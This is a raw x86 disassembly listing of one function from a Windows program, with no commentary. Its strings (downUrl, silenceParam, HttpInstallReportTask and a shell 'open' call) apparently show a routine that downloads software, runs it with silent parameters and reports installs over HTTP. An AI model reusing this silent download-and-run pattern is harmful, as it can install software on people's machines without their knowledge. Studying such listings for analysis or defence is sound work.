mov edx, dword [ebp - 0x9f0]
or edx, 0x1000
mov dword [ebp - 0x9f0], edx
mov byte [ebp - 4], 0x37
call fcn.0040d3a0
add eax, 0x298
mov dword [ebp - 0xd60], eax
mov eax, dword [ebp - 0xd60]
mov dword [ebp - 0xa34], eax
mov ecx, dword [ebp - 0xa34]
mov dword [ebp - 0xa90], ecx
mov edx, dword [ebp - 0xa34]
cmp dword [edx + 0x14], 0x10
jb 0x4306d4
mov dword [ebp - 0xa8c], 1
jmp 0x4306de
mov dword [ebp - 0xa8c], 0
mov al, byte [ebp - 0xa8c]
mov byte [ebp - 0x9f8], al
movzx ecx, byte [ebp - 0x9f8]
test ecx, ecx
je 0x43070f
mov edx, dword [ebp - 0xa34]
mov eax, dword [edx]
mov dword [ebp - 0xd5c], eax
mov ecx, dword [ebp - 0xd5c]
mov dword [ebp - 0xa90], ecx
mov edx, dword [ebp - 0xa90]
mov dword [ebp - 0xd58], edx
mov eax, dword [ebp - 0xd58]
mov dword [ebp - 0xd48], eax
lea ecx, [ebp - 0x334]
mov dword [ebp - 0xa30], ecx
mov edx, dword [ebp - 0xa30]
mov dword [ebp - 0xa98], edx
mov eax, dword [ebp - 0xa30]
cmp dword [eax + 0x14], 0x10
jb 0x430757
mov dword [ebp - 0xa94], 1
jmp 0x430761
mov dword [ebp - 0xa94], 0
mov cl, byte [ebp - 0xa94]
mov byte [ebp - 0xa01], cl
movzx edx, byte [ebp - 0xa01]
test edx, edx
je 0x430792
mov eax, dword [ebp - 0xa30]
mov ecx, dword [eax]
mov dword [ebp - 0xd54], ecx
mov edx, dword [ebp - 0xd54]
mov dword [ebp - 0xa98], edx
mov eax, dword [ebp - 0xa98]
mov dword [ebp - 0xd50], eax
mov ecx, dword [ebp - 0xd50]
mov dword [ebp - 0xd44], ecx
push 0
mov edx, dword [ebp - 0xd48]
push edx
mov eax, dword [ebp - 0xd44]
push eax
call dword [0x4511c8]
push 0xffffffffffffffff
push 0x453a44
call fcn.0040d3a0
add eax, 0x298
mov ecx, eax
call fcn.0041bd00
mov dword [ebp - 0xd3c], eax
call fcn.0040d3a0
add eax, 0x298
mov dword [ebp - 0xa9c], eax
mov ecx, dword [ebp - 0xa9c]
mov dword [ebp - 0xe34], ecx
lea edx, [ebp - 0xa0e]
mov dword [ebp - 0xd40], edx
mov eax, dword [ebp - 0xd40]
push eax
mov ecx, dword [ebp - 0xd3c]
push ecx
push 0
mov edx, dword [ebp - 0xa9c]
push edx
lea ecx, [ebp - 0x574]
call fcn.00417cb0
mov eax, dword [ebp - 0x9f0]
or eax, 0x2000
mov dword [ebp - 0x9f0], eax
mov byte [ebp - 4], 0x38
call fcn.0040d3a0
add eax, 0x298
mov dword [ebp - 0xd38], eax
mov ecx, dword [ebp - 0xd38]
mov dword [ebp - 0xa2c], ecx
mov edx, dword [ebp - 0xa2c]
mov dword [ebp - 0xaa4], edx
mov eax, dword [ebp - 0xa2c]
cmp dword [eax + 0x14], 0x10
jb 0x43087d
mov dword [ebp - 0xaa0], 1
jmp 0x430887
mov dword [ebp - 0xaa0], 0
mov cl, byte [ebp - 0xaa0]
mov byte [ebp - 0xa00], cl
movzx edx, byte [ebp - 0xa00]
test edx, edx
je 0x4308b8
mov eax, dword [ebp - 0xa2c]
mov ecx, dword [eax]
mov dword [ebp - 0xd34], ecx
mov edx, dword [ebp - 0xd34]
mov dword [ebp - 0xaa4], edx
mov eax, dword [ebp - 0xaa4]
mov dword [ebp - 0xd30], eax
mov ecx, dword [ebp - 0xd30]
mov dword [ebp - 0xd2c], ecx
lea edx, [ebp - 0x878]
push edx
mov eax, dword [ebp - 0xd2c]
push eax
call dword [0x4516bc]
add esp, 8
mov ecx, dword [ebp - 0x864]
mov dword [ebp - 0xd28], ecx
cmp dword [ebp - 0xd28], 0x100000
jbe 0x430b43
lea edx, [ebp - 0x574]
mov dword [ebp - 0xa28], edx
mov eax, dword [ebp - 0xa28]
mov dword [ebp - 0xaac], eax
mov ecx, dword [ebp - 0xa28]
cmp dword [ecx + 0x14], 0x10
jb 0x430933
mov dword [ebp - 0xaa8], 1
jmp 0x43093d
mov dword [ebp - 0xaa8], 0
mov dl, byte [ebp - 0xaa8]
mov byte [ebp - 0x9ff], dl
movzx eax, byte [ebp - 0x9ff]
test eax, eax
je 0x43096e
mov ecx, dword [ebp - 0xa28]
mov edx, dword [ecx]
mov dword [ebp - 0xd24], edx
mov eax, dword [ebp - 0xd24]
mov dword [ebp - 0xaac], eax
mov ecx, dword [ebp - 0xaac]
mov dword [ebp - 0xd20], ecx
mov edx, dword [ebp - 0xd20]
mov dword [ebp - 0xbe4], edx
lea eax, [ebp - 0x58c]
mov dword [ebp - 0xa24], eax
mov ecx, dword [ebp - 0xa24]
mov dword [ebp - 0xab4], ecx
mov edx, dword [ebp - 0xa24]
cmp dword [edx + 0x14], 0x10
jb 0x4309b6
mov dword [ebp - 0xab0], 1
jmp 0x4309c0
mov dword [ebp - 0xab0], 0
mov al, byte [ebp - 0xab0]
mov byte [ebp - 0xa02], al
movzx ecx, byte [ebp - 0xa02]
test ecx, ecx
je 0x4309f1
mov edx, dword [ebp - 0xa24]
mov eax, dword [edx]
mov dword [ebp - 0xd1c], eax
mov ecx, dword [ebp - 0xd1c]
mov dword [ebp - 0xab4], ecx
mov edx, dword [ebp - 0xab4]
mov dword [ebp - 0xd04], edx
mov eax, dword [ebp - 0xd04]
mov dword [ebp - 0xbe8], eax
call fcn.0040d3a0
add eax, 0x298
mov dword [ebp - 0xd4c], eax
mov ecx, dword [ebp - 0xd4c]
mov dword [ebp - 0xa20], ecx
mov edx, dword [ebp - 0xa20]
mov dword [ebp - 0xabc], edx
mov eax, dword [ebp - 0xa20]
cmp dword [eax + 0x14], 0x10
jb 0x430a49
mov dword [ebp - 0xab8], 1
jmp 0x430a53
mov dword [ebp - 0xab8], 0
mov cl, byte [ebp - 0xab8]
mov byte [ebp - 0x9fe], cl
movzx edx, byte [ebp - 0x9fe]
test edx, edx
je 0x430a84
mov eax, dword [ebp - 0xa20]
mov ecx, dword [eax]
mov dword [ebp - 0xbdc], ecx
mov edx, dword [ebp - 0xbdc]
mov dword [ebp - 0xabc], edx
mov eax, dword [ebp - 0xabc]
mov dword [ebp - 0xbe0], eax
mov ecx, dword [ebp - 0xbe0]
mov dword [ebp - 0xbec], ecx
push 0
mov edx, dword [ebp - 0xbe4]
push edx
mov eax, dword [ebp - 0xbe8]
push eax
mov ecx, dword [ebp - 0xbec]
push ecx
push str.open
push 0
call dword [0x451550]
push 0x54
call fcn.00449190
add esp, 4
mov dword [ebp - 0xac0], eax
mov byte [ebp - 4], 0x39
cmp dword [ebp - 0xac0], 0
je 0x430b15
push 0
push 7
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe38], esp
push str.HttpInstallReportTask
call fcn.00401a50
mov ecx, dword [ebp - 0xac0]
call fcn.00424b30
mov dword [ebp - 0xbf0], eax
mov edx, dword [ebp - 0xbf0]
mov dword [ebp - 0xac4], edx
jmp 0x430b1f
mov dword [ebp - 0xac4], 0
mov eax, dword [ebp - 0xac4]
mov dword [ebp - 0xbf4], eax
mov byte [ebp - 4], 0x38
mov ecx, dword [ebp - 0xbf4]
push ecx
call fcn.004373d0
mov ecx, dword [eax]
call dword [0x451488]
push 0x208
push 0
lea edx, [ebp - 0x31c]
push edx
call fcn.0044a7d0
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x31c]
push eax
push 0
call dword [0x451558]
push 0x453bf0
lea ecx, [ebp - 0x31c]
push ecx
call dword [0x451574]
push 0xffffffffffffffff
push 0x45489c
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0xe3c], esp
call fcn.0040d3a0
add eax, 0x298
push eax
mov ecx, esi
call fcn.00404a90
mov dword [ebp - 0xe40], eax
mov byte [ebp - 4], 0x3a
lea edx, [ebp - 0x604]
push edx
call fcn.0040d3a0
mov byte [ebp - 4], 0x38
mov ecx, eax
call fcn.00411470
mov dword [ebp - 0xbf8], eax
mov eax, dword [ebp - 0xbf8]
mov dword [ebp - 0xbfc], eax
mov ecx, dword [ebp - 0xbfc]
call fcn.00428170
mov dword [ebp - 0xc00], eax
mov ecx, dword [ebp - 0xc00]
mov dword [ebp - 0xc0c], ecx
lea ecx, [ebp - 0x604]
call fcn.004031f0
push 0x454954
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0xe44], esp
call fcn.0040d3a0
add eax, 0x298
push eax
mov ecx, esi
call fcn.00404a90
mov dword [ebp - 0xeec], eax
mov byte [ebp - 4], 0x3b
lea edx, [ebp - 0x5bc]
push edx
call fcn.0040d3a0
mov byte [ebp - 4], 0x38
mov ecx, eax
call fcn.00411470
mov dword [ebp - 0xc04], eax
mov eax, dword [ebp - 0xc04]
mov dword [ebp - 0xac8], eax
mov byte [ebp - 4], 0x3c
mov ecx, dword [ebp - 0xac8]
mov dword [ebp - 0xe4c], ecx
lea edx, [ebp - 0xa0f]
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xc08]
push eax
mov ecx, dword [ebp - 0xc0c]
push ecx
push 0
mov edx, dword [ebp - 0xac8]
push edx
lea ecx, [ebp - 0x55c]
call fcn.00424740
mov eax, dword [ebp - 0x9f0]
or eax, 0x4000
mov dword [ebp - 0x9f0], eax
lea ecx, [ebp - 0x55c]
mov dword [ebp - 0xc10], ecx
mov edx, dword [ebp - 0xc10]
mov dword [ebp - 0xc14], edx
mov byte [ebp - 4], 0x3d
mov eax, dword [ebp - 0xc14]
push eax
lea ecx, [ebp - 0x5d4]
push ecx
call fcn.00421e20
add esp, 0xc
mov dword [ebp - 0xc18], eax
mov edx, dword [ebp - 0xc18]
mov dword [ebp - 0xc1c], edx
mov byte [ebp - 4], 0x3e
mov eax, dword [ebp - 0xc1c]
mov dword [ebp - 0xa1c], eax
mov ecx, dword [ebp - 0xa1c]
mov dword [ebp - 0xad0], ecx
mov edx, dword [ebp - 0xa1c]
cmp dword [edx + 0x14], 8
jb 0x430d19
mov dword [ebp - 0xacc], 1
jmp 0x430d23
mov dword [ebp - 0xacc], 0
mov al, byte [ebp - 0xacc]
mov byte [ebp - 0x9fd], al
movzx ecx, byte [ebp - 0x9fd]
test ecx, ecx
je 0x430d54
mov edx, dword [ebp - 0xa1c]
mov eax, dword [edx]
mov dword [ebp - 0xc20], eax
mov ecx, dword [ebp - 0xc20]
mov dword [ebp - 0xad0], ecx
mov edx, dword [ebp - 0xad0]
mov dword [ebp - 0xc24], edx
mov eax, dword [ebp - 0xc24]
mov dword [ebp - 0xc28], eax
mov ecx, dword [ebp - 0xc28]
push ecx
lea edx, [ebp - 0x31c]
push edx
push 0x454258
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0xe50], esp
call fcn.0040d3a0
add eax, 0x298
push eax
mov ecx, esi
call fcn.00404a90
mov dword [ebp - 0xe54], eax
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x5ec]
push eax
call fcn.0040d3a0
mov byte [ebp - 4], 0x3e
mov ecx, eax
call fcn.00411470
mov dword [ebp - 0xc2c], eax
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0xc30], ecx
mov byte [ebp - 4], 0x40
mov edx, dword [ebp - 0xc30]
mov dword [ebp - 0xa14], edx
mov eax, dword [ebp - 0xa14]
mov dword [ebp - 0xad8], eax
mov ecx, dword [ebp - 0xa14]
cmp dword [ecx + 0x14], 8
jb 0x430e03
mov dword [ebp - 0xad4], 1
jmp 0x430e0d
mov dword [ebp - 0xad4], 0
mov dl, byte [ebp - 0xad4]
mov byte [ebp - 0x9fc], dl
movzx eax, byte [ebp - 0x9fc]
test eax, eax
je 0x430e3e
mov ecx, dword [ebp - 0xa14]
mov edx, dword [ecx]
mov dword [ebp - 0xc34], edx
mov eax, dword [ebp - 0xc34]
mov dword [ebp - 0xad8], eax
mov ecx, dword [ebp - 0xad8]
mov dword [ebp - 0xc38], ecx
mov edx, dword [ebp - 0xc38]
mov dword [ebp - 0xc3c], edx
mov eax, dword [ebp - 0xc3c]
push eax
call fcn.004264b0
add esp, 0x10
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x5ec]
call fcn.004031f0
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x5d4]
call fcn.004031f0
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x55c]
call fcn.004031f0
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x5bc]
call fcn.004031f0
push str.___first
call fcn.0040d3a0
add eax, 0x298
push eax
lea ecx, [ebp - 0x4cc]
push ecx
call fcn.00403b60
add esp, 0xc
mov byte [ebp - 4], 0x41
lea edx, [ebp - 0x4cc]
mov dword [ebp - 0xa3c], edx
mov eax, dword [ebp - 0xa3c]
mov dword [ebp - 0xae0], eax
mov ecx, dword [ebp - 0xa3c]
cmp dword [ecx + 0x14], 0x10
jb 0x430ef4
mov dword [ebp - 0xadc], 1
jmp 0x430efe
mov dword [ebp - 0xadc], 0
mov dl, byte [ebp - 0xadc]
mov byte [ebp - 0x9fb], dl
movzx eax, byte [ebp - 0x9fb]
test eax, eax
je 0x430f2f
mov ecx, dword [ebp - 0xa3c]
mov edx, dword [ecx]
mov dword [ebp - 0xc40], edx
mov eax, dword [ebp - 0xc40]
mov dword [ebp - 0xae0], eax
mov ecx, dword [ebp - 0xae0]
mov dword [ebp - 0xc44], ecx
mov edx, dword [ebp - 0xc44]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0xc48]
push eax
call fcn.00426430
add esp, 4
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x4cc]
call fcn.00403100
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x574]
call fcn.00403100
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x58c]
call fcn.00403100
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x334]
call fcn.00403100
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x3ac]
call fcn.00403100
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x37c]
call fcn.00403100
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x5a4]
call fcn.00403100
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x364]
call fcn.00403100
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x3c4]
call fcn.00403100
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xdb0]
call fcn.004486ce
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x9ec]
call fcn.00412c50
push str.change
mov ecx, dword [ebp - 0xa08]
add ecx, 0x58
call fcn.004486f8
push eax
lea ecx, [ebp - 0xb3c]
call fcn.00448716
lea ecx, [ebp - 0xb3c]
call fcn.00448746
movzx ecx, al
test ecx, ecx
jne 0x4317c4
push str.type
lea ecx, [ebp - 0xb3c]
call fcn.004486f8
mov ecx, eax
call fcn.004486ec
mov dword [ebp - 0xafc], eax
push 0x45456c
lea ecx, [ebp - 0xb3c]
call fcn.004486f8
mov ecx, eax
call fcn.004486ec
mov dword [ebp - 0xaf8], eax
push str.softType
lea ecx, [ebp - 0xb3c]
call fcn.004486f8
mov ecx, eax
call fcn.004486ec
mov dword [ebp - 0xe58], eax
lea edx, [ebp - 0x3f4]
push edx
push str.fileName
lea ecx, [ebp - 0xb3c]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov byte [ebp - 4], 0x42
lea eax, [ebp - 0x394]
push eax
push str.downUrl
lea ecx, [ebp - 0xb3c]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x49c]
push ecx
push 0x45462c
lea ecx, [ebp - 0xb3c]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov byte [ebp - 4], 0x44
lea edx, [ebp - 0x79c]
push edx
push str.silenceParam
lea ecx, [ebp - 0xb3c]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x76c]
push eax
push str.name
lea ecx, [ebp - 0xb3c]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x7b4]
push ecx
push str.icon
lea ecx, [ebp - 0xb3c]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov byte [ebp - 4], 0x47
lea edx, [ebp - 0x3dc]
push edx
push str.referer
lea ecx, [ebp - 0xb3c]
call fcn.004486f8
mov ecx, eax
call fcn.004486e6
mov byte [ebp - 4], 0x48
lea eax, [ebp - 0x394]
push eax
lea ecx, [ebp - 0x484]
call fcn.00404a90
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x114]
push ecx
push 0
push 0
push 0
push 0
call dword [0x451560]
mov dword [ebp - 0xae4], eax
cmp dword [ebp - 0xae4], 0
je 0x4311e1
push 0x4546a4
mov edx, dword [ebp - 0xae4]
push edx
push str.Error:
mov eax, dword [0x45126c]
push eax
call fcn.004081d0
add esp, 8
mov ecx, eax
call dword [0x4512d8]
push eax
call fcn.004081d0
add esp, 8
jmp 0x431213
push 0x4546a4
lea ecx, [ebp - 0x114]
push ecx
push str.Path:
mov edx, dword [0x45126c]
push edx
call fcn.004081d0
add esp, 8
push eax
call fcn.004081d0
add esp, 8
push eax
call fcn.004081d0
add esp, 8
cmp dword [ebp - 0xaf8], 0
je 0x43146e
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x424]
call fcn.00401a50
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x3f4]
push ecx
lea ecx, [ebp - 0x40c]
call fcn.00404a90
mov byte [ebp - 4], 0x4b
lea edx, [ebp - 0x49c]
push edx
lea ecx, [ebp - 0x7e4]
call fcn.00404a90
mov byte [ebp - 4], 0x4c
mov byte [ebp - 0x9fa], 0
push 0x1a0
call fcn.00449190
add esp, 4
mov dword [ebp - 0xae8], eax
mov byte [ebp - 4], 0x4d
cmp dword [ebp - 0xae8], 0
je 0x431381
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe5c], esp
lea eax, [ebp - 0x3dc]
push eax
call fcn.00404a90
mov dword [ebp - 0xe60], eax
mov byte [ebp - 4], 0x4e
mov ecx, dword [ebp - 0xafc]
push ecx
push 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe64], esp
push 0x451d38
call fcn.00401a50
mov dword [ebp - 0xe68], eax
mov byte [ebp - 4], 0x4f
push 1
push 1
push 0xffffffffffffffff
movzx edx, byte [ebp - 0x9fa]
push edx
push 0xffffffffffffffff
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe6c], esp
push 0x451d38
call fcn.00401a50
mov dword [ebp - 0xe70], eax
mov byte [ebp - 4], 0x50
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe74], esp
lea eax, [ebp - 0x40c]
push eax
call fcn.00404a90
mov dword [ebp - 0xe78], eax
mov byte [ebp - 4], 0x51
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe7c], esp
lea edx, [ebp - 0x424]
push edx
call fcn.00404a90
mov dword [ebp - 0xe80], eax
mov byte [ebp - 4], 0x52
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe84], esp
lea eax, [ebp - 0x484]
push eax
call fcn.00404a90
mov byte [ebp - 4], 0x4d
mov ecx, dword [ebp - 0xae8]
call fcn.004250e0
mov dword [ebp - 0xc4c], eax
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0xaec], ecx
jmp 0x43138b
mov dword [ebp - 0xaec], 0
mov edx, dword [ebp - 0xaec]
mov dword [ebp - 0xc50], edx
mov byte [ebp - 4], 0x4c
mov eax, dword [ebp - 0xc50]
mov dword [ebp - 0xaf4], eax
push 0x787
push 0x786
call fcn.0040d3a0
mov ecx, dword [eax + 0x27c]
call dword [0x451144]
push eax
mov ecx, dword [ebp - 0xaf4]
call fcn.00426cb0
mov dword [ebp - 0xc54], 0x46c9f4
mov ecx, dword [ebp - 0xc54]
push ecx
call fcn.00448cc8
add esp, 4
mov dword [ebp - 0xaf0], eax
cmp dword [ebp - 0xaf0], 0
je 0x431402
mov edx, dword [ebp - 0xaf0]
push edx
call fcn.00448cd4
mov eax, dword [0x46ca24]
add eax, 1
mov dword [0x46ca24], eax
mov dword [ebp - 0xc58], 0x46c9f4
mov ecx, dword [ebp - 0xc58]
push ecx
call fcn.00448cce
add esp, 4
mov edx, dword [ebp - 0xaf4]
push edx
call fcn.004373d0
mov ecx, dword [eax]
call dword [0x451488]
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0x7e4]
call fcn.00403100
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x40c]
call fcn.00403100
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x424]
call fcn.00403100
jmp 0x43174c
cmp dword [ebp - 0xaf8], 0
jne 0x43170a
push 0x451d38
lea eax, [ebp - 0x394]
push eax
call fcn.004162d0
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x43170a
lea edx, [ebp - 0x394]
push edx
lea ecx, [ebp - 0x46c]
call fcn.00404a90
mov byte [ebp - 4], 0x53
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x454]
call fcn.00401a50
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x3f4]
push ecx
lea ecx, [ebp - 0x43c]
call fcn.00404a90
mov byte [ebp - 4], 0x55
push 0x451d38
lea ecx, [ebp - 0x7cc]
call fcn.00401a50
mov byte [ebp - 4], 0x56
mov byte [ebp - 0x9f9], 0
push 0x1a0
call fcn.00449190
add esp, 4
mov dword [ebp - 0xb00], eax
mov byte [ebp - 4], 0x57
cmp dword [ebp - 0xb00], 0
je 0x43160f
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe8c], esp
lea edx, [ebp - 0x3dc]
push edx
call fcn.00404a90
mov dword [ebp - 0xe90], eax
mov byte [ebp - 4], 0x58
mov eax, dword [ebp - 0xafc]
push eax
push 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe94], esp
push 0x451d38
call fcn.00401a50
mov dword [ebp - 0xe98], eax
mov byte [ebp - 4], 0x59
push 1
push 1
push 0xffffffffffffffff
movzx ecx, byte [ebp - 0x9f9]
push ecx
push 0xffffffffffffffff
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe9c], esp
push 0x451d38
call fcn.00401a50
mov dword [ebp - 0xea0], eax
mov byte [ebp - 4], 0x5a
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xea4], esp
lea edx, [ebp - 0x43c]
push edx
call fcn.00404a90
mov dword [ebp - 0xecc], eax
mov byte [ebp - 4], 0x5b
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xeac], esp
lea eax, [ebp - 0x454]
push eax
call fcn.00404a90
mov dword [ebp - 0xeb0], eax
mov byte [ebp - 4], 0x5c
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xeb4], esp
lea edx, [ebp - 0x46c]
push edx
call fcn.00404a90
mov byte [ebp - 4], 0x57
mov ecx, dword [ebp - 0xb00]
call fcn.004250e0
mov dword [ebp - 0xc5c], eax
mov eax, dword [ebp - 0xc5c]
mov dword [ebp - 0xb04], eax
jmp 0x431619
mov dword [ebp - 0xb04], 0
mov ecx, dword [ebp - 0xb04]
mov dword [ebp - 0xc60], ecx
mov byte [ebp - 4], 0x56
mov edx, dword [ebp - 0xc60]
mov dword [ebp - 0xb0c], edx
push 0x787
push 0x786
call fcn.0040d3a0
mov ecx, dword [eax + 0x27c]
call dword [0x451144]
push eax
mov ecx, dword [ebp - 0xb0c]
call fcn.00426cb0
mov dword [ebp - 0xc64], 0x46c9f4
mov eax, dword [ebp - 0xc64]
push eax
call fcn.00448cc8
add esp, 4
mov dword [ebp - 0xb08], eax
cmp dword [ebp - 0xb08], 0
je 0x431690
mov ecx, dword [ebp - 0xb08]
push ecx
call fcn.00448cd4
mov edx, dword [0x46ca24]
add edx, 1
mov dword [0x46ca24], edx
mov dword [ebp - 0xc68], 0x46c9f4
mov eax, dword [ebp - 0xc68]
push eax
call fcn.00448cce
add esp, 4
mov ecx, dword [ebp - 0xb0c]
push ecx
call fcn.004373d0
mov ecx, dword [eax]
call dword [0x451488]
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x7cc]
call fcn.00403100
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x43c]
call fcn.00403100
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x454]
call fcn.00403100
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x46c]
call fcn.00403100
jmp 0x43174c
push str.install
mov ecx, dword [ebp - 0xa08]
add ecx, 0x58
call fcn.004486f8
mov ecx, eax
call fcn.0044874c
movzx edx, al
test edx, edx
je 0x43174c
push 0
push 0
push 0x786
call fcn.0040d3a0
mov ecx, dword [eax + 0x27c]
call dword [0x451144]
push eax
call dword [0x4515dc]
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x484]
call fcn.00403100
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x3dc]
call fcn.00403100
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x7b4]
call fcn.00403100
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x76c]
call fcn.00403100
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x79c]
call fcn.00403100
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x49c]
call fcn.00403100
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x394]
call fcn.00403100
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3f4]
call fcn.00403100
push 0x1f4
mov ecx, dword [ebp - 0xa08]
call dword [0x451440]
mov dword [ebp - 0xc6c], 0x46c9f4
mov eax, dword [ebp - 0xc6c]
push eax
call fcn.00448cc8
add esp, 4
mov dword [ebp - 0xb10], eax
cmp dword [ebp - 0xb10], 0
je 0x431809
mov ecx, dword [ebp - 0xb10]
push ecx
call fcn.00448cd4
cmp dword [0x46ca24], 0
jne 0x43182d
mov dword [ebp - 0xc70], 0x46c9f4
mov edx, dword [ebp - 0xc70]
push edx
call fcn.00448cce
add esp, 4
jmp 0x43184b
mov dword [ebp - 0xc74], 0x46c9f4
mov eax, dword [ebp - 0xc74]
push eax
call fcn.00448cce
add esp, 4
jmp 0x4317c4
push 0x4c
call fcn.00449190
add esp, 4
mov dword [ebp - 0xb14], eax
mov byte [ebp - 4], 0x5d
cmp dword [ebp - 0xb14], 0
je 0x43189c
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xeb8], esp
push str.HttpChangeReportTask
call fcn.00401a50
mov ecx, dword [ebp - 0xb14]
call fcn.00424a50
mov dword [ebp - 0xc78], eax
mov ecx, dword [ebp - 0xc78]
mov dword [ebp - 0xb18], ecx
jmp 0x4318a6
mov dword [ebp - 0xb18], 0
mov edx, dword [ebp - 0xb18]
mov dword [ebp - 0xc7c], edx
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xc7c]
push eax
call fcn.004373d0
mov ecx, dword [eax]
call dword [0x451488]
push 0x54
call fcn.00449190
add esp, 4
mov dword [ebp - 0xb1c], eax
mov byte [ebp - 4], 0x5e
cmp dword [ebp - 0xb1c], 0
je 0x43191f
push 0
push 5
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xebc], esp
push str.HttpInstallReportTask
call fcn.00401a50
mov ecx, dword [ebp - 0xb1c]
call fcn.00424b30
mov dword [ebp - 0xc80], eax
mov ecx, dword [ebp - 0xc80]
mov dword [ebp - 0xb20], ecx
jmp 0x431929
mov dword [ebp - 0xb20], 0
mov edx, dword [ebp - 0xb20]
mov dword [ebp - 0xc84], edx
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xc84]
push eax
call fcn.004373d0
mov ecx, dword [eax]
call dword [0x451488]
push 0
push 0
push 0x788
call fcn.0040d3a0
mov ecx, dword [eax + 0x27c]
call dword [0x451144]
push eax
call dword [0x4515d8]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb3c]
call fcn.004486ce
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004491ce
mov esp, ebp
pop ebp
ret